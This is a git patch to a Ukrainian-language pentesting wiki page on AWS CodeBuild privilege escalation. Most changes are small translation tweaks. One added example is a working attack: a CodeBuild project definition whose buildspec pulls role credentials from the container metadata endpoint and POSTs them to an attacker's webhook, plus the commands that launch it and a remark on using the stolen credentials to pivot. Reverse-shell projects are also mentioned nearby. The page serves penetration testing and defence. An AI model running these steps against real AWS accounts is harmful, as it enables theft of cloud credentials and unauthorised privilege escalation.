From 54b925318dc4ca40c95186e927d191d01ecc38c7 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 8 Jan 2025 20:44:32 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- .../aws-codebuild-privesc.md | 44 ++++++++++++++++--- 1 file changed, 39 insertions(+), 5 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 70974bfdb..2fdd045e0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -61,13 +61,13 @@ aws codebuild start-build-batch --project --buildspec-override fi **Примітка**: Різниця між цими двома командами полягає в тому, що: - `StartBuild` запускає одну задачу збірки, використовуючи конкретний `buildspec.yml`. -- `StartBuildBatch` дозволяє вам запустити пакет збірок з більш складними конфігураціями (наприклад, запуск кількох збірок паралельно). +- `StartBuildBatch` дозволяє вам запустити пакет збірок з більш складними конфігураціями (наприклад, виконання кількох збірок паралельно). **Можливий вплив:** Пряме підвищення привілеїв до прикріплених ролей AWS Codebuild. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Зловмисник з правами **`iam:PassRole`, `codebuild:CreateProject` та `codebuild:StartBuild` або `codebuild:StartBuildBatch`** зможе **підвищити привілеї до будь-якої ролі IAM Codebuild**, створивши працюючу. +Зловмисник з правами **`iam:PassRole`, `codebuild:CreateProject` та `codebuild:StartBuild` або `codebuild:StartBuildBatch`** зможе **підвищити привілеї до будь-якої ролі IAM codebuild**, створивши працюючу. {{#tabs }} {{#tab name="Example1" }} @@ -133,6 +133,40 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat # Start a build with the new project aws codebuild start-build --project-name reverse-shell-project +``` +{{#endtab }} + +{{#tab name="Example3" }} +```bash +# Generated by ex16x41, tested +# Create a hook.json file with command to send output from curl credentials URI to your webhook address + +{ +"name": "user-project-1", +"source": { +"type": "NO_SOURCE", +"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n" +}, +"artifacts": { +"type": "NO_ARTIFACTS" +}, +"environment": { +"type": "LINUX_CONTAINER", +"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0", +"computeType": "BUILD_GENERAL1_SMALL" +}, +"serviceRole": "ARN-OF-TARGET-ROLE" +} + +# Create a new CodeBuild project with the hook.json file +aws codebuild create-project --cli-input-json file:///tmp/hook.json + +# Start a build with the new project +aws codebuild start-build --project-name user-project-1 + +# Get Credentials output to webhook address +Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from + ``` {{#endtab }} {{#endtabs }} @@ -146,7 +180,7 @@ aws codebuild start-build --project-name reverse-shell-project > Додайте це до URL **`http://169.254.170.2/`** і ви зможете вивантажити облікові дані ролі. -> Більше того, він також містить **змінну середовища `ECS_CONTAINER_METADATA_URI`**, яка містить повний URL для отримання **інформації про метадані контейнера**. +> Більше того, він також містить **змінну середовища `ECS_CONTAINER_METADATA_URI`**, яка містить повну URL-адресу для отримання **інформації про метадані контейнера**. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) @@ -308,7 +342,7 @@ aws codebuild start-build --project-name # Wait for the reverse shell :) ``` -Ви можете використовувати щось на зразок цього **buildspec**, щоб отримати **reverse shell**: +Ви можете використовувати щось на зразок цього **buildspec** для отримання **reverse shell**: ```yaml:buildspec.yml version: 0.2 @@ -320,7 +354,7 @@ commands: **Вплив:** Пряме підвищення привілеїв до ролі, що використовується працівником AWS CodeBuild, яка зазвичай має високі привілеї. > [!WARNING] -> Зверніть увагу, що buildspec може бути очікуваний у форматі zip, тому зловмиснику потрібно буде завантажити, розпакувати, змінити `buildspec.yml` з кореневої директорії, знову запакувати та завантажити. +> Зверніть увагу, що buildspec може бути очікуваний у форматі zip, тому зловмиснику потрібно буде завантажити, розпакувати, змінити `buildspec.yml` з кореневої директорії, знову запакувати та завантажити Більше деталей можна знайти [тут](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).